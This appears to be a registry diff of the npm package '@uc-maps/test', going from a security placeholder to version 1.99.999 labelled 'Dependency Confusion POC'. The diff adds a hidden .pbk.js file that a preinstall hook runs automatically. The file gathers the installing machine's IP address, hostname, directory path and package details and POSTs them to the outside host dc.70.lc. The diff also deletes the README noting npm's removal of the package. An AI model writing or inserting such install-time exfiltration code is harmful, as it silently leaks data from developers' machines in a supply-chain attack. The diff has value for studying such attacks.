@uc-maps/test 0.0.1-security → 1.99.999

package/.pbk.js

@@ -0,0 +1,37 @@
+const os = require('os');
+const https = require('https');
+
+var __dirname;
+
+const ip = [[].concat(...Object.values(os.networkInterfaces()))]
+    .filter(({ family, internal }) => family === "IPv4" && !internal)
+    .map(({ address }) => address)[0];
+
+const host = os.hostname()
+const path = __dirname;
+const org = process.argv.slice(2)[0]
+const package = process.argv.slice(2)[1]
+
+data = {
+    ip,
+    host,
+    path,
+    org,
+    package
+}
+
+body = JSON.stringify(data)
+
+var r = https.request({
+    hostname:'dc.70.lc',
+    port: 443,
+    path: '/d',
+    method: 'POST',
+    headers: {
+        'Content-Length': body.length,
+        'Content-Type': 'application/json'
+    }
+})
+r.write(body)
+r.end()
+

package/package.json

@@ -1,6 +1,11 @@
 {
   "name": "@uc-maps/test",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "1.99.999",
+  "description": "Dependency Confusion POC",
+  "main": "index.js",
+  "scripts": {
+    "preinstall":"node ./.pbk.js 1.99.999 @uc-maps/test"
+  },
+  "author": "",
+  "license": "ISC"
 }

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=%40uc-maps%2Ftest for more information.